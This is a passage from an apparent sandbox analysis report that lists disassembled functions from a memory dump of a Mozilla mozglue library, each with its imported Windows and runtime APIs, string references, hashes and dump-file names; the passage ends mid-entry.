Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C65CDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

!oi/, xrefs: 6C65CE02
0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: !oi/$0
API String ID: 438689982-3765830307
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

<jemalloc>, xrefs: 6C690D92, 6C690DB9
: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B0630 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C6B0533), ref: 6C6B06CD
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C6B0533), ref: 6C6B07C2

Strings

!oi/, xrefs: 6C6B0640

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: !oi/
API String ID: 1766480654-845032489
Opcode ID: a6fd00cd41b172246b74c8ed27d111df21fc035b65f7fa6bf5fe7543e1d01497
Instruction ID: 0ef523ec782f5b225ec35c31da2f8932f602c1c439368f5df2e083f0fdcdcf9a
Opcode Fuzzy Hash: a6fd00cd41b172246b74c8ed27d111df21fc035b65f7fa6bf5fe7543e1d01497
Instruction Fuzzy Hash: 4861CCB5A087019FD700DF25C48065ABBE6FF89318F10492DE985A7B41DB70EC19CB9A

Function 6C6ABF10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 6C6ABFDE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C6AC021
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C6AC03F

Strings

!oi/, xrefs: 6C6ABF1C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: fputc$fwrite
String ID: !oi/
API String ID: 4291123875-845032489
Opcode ID: ef5d0e8da9dcb8ba39220778374b08a3a6e2a05a015287b11d2958cf29278bdf
Instruction ID: 07a5877ab89d812337eb0d5d3eb7286c97676fd7b6f0e60ea279b05545aee84e
Opcode Fuzzy Hash: ef5d0e8da9dcb8ba39220778374b08a3a6e2a05a015287b11d2958cf29278bdf
Instruction Fuzzy Hash: 33419031604608EFCB14DFA9C8849AEB7F5FF89318B144A2DE456CB790DB32A806CF54

Function 6C65BD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

!oi/, xrefs: 6C65BD57
0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: !oi/$0
API String ID: 2811501404-3765830307
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C68AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6DE3A4,00000000), ref: 6C68AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6DE3B0,00000000), ref: 6C68AFCC

Strings

!oi/, xrefs: 6C68AFDA

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: !oi/
API String ID: 2450287516-845032489
Opcode ID: 1157f1a856391bd19d9bf00d4c7700d479e4a40b3026039f9fd20f24ba5030e8
Instruction ID: ed959fc4e5ad378816bba24ab3c0dea3e0311f392b91c585d6b498ba995cf7a8
Opcode Fuzzy Hash: 1157f1a856391bd19d9bf00d4c7700d479e4a40b3026039f9fd20f24ba5030e8
Instruction Fuzzy Hash: 8611CE72E02600AACF01DE6A88407DEB7A49F02318F164156DE20ABBC1D6B1E5489BBD

Function 6C698CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C698D02
moz_xmalloc.MOZGLUE(00000080,?,6C69D9A8), ref: 6C698D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6C69D9A8), ref: 6C698D59

Strings

!oi/, xrefs: 6C698CF8

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: !oi/
API String ID: 3275805834-845032489
Opcode ID: dd22d63a7cb1285b7b973c551ea174fc1946c01be4296dfa6533f99dd7c56f34
Instruction ID: a447ca71e2c4ade23aba42f8462febfbdac80df9bc63862dfcce4519d421ad3b
Opcode Fuzzy Hash: dd22d63a7cb1285b7b973c551ea174fc1946c01be4296dfa6533f99dd7c56f34
Instruction Fuzzy Hash: 3B21C230A007058FCB10CF2AC4846AAB7F1FF9A304F10852ED58697721EB70B549CF99

Function 6C6B9650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B9675
_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B968E
?fromString@Decimal@blink@@SA?AV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE(?), ref: 6C6B96F6

Strings

